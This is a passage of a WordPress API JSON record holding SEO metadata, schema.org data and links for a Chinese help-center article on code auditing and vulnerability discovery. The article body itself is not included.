name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/93089.html","og_locale":"zh_CN","og_type":"article","og_title":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d&#xff0c;\u4ee3\u7801\u5ba1\u8ba1&#xff08;Code Audit \/ White-box Testing&#xff09; \u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf\"\u649e\u8fd0\u6c14\"\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0&#xff0c;\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece \u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677&#xff0c;\u7406\u89e3\u4e1a\u52a1\u903b\u8f91&#xff0c;\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1&#xff0c;\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def&#xff0c;\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177&#xff0c;\u5e76 \u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho","og_url":"https:\/\/www.wsisp.com\/helps\/93089.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-08-11T14:00:45+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"19 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/93089.html","url":"https:\/\/www.wsisp.com\/helps\/93089.html","name":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-08-11T14:00:45+00:00","dateModified":"2026-08-11T14:00:45+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/93089.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=93089"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/93089\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=93089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=93089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=93089"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=93089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}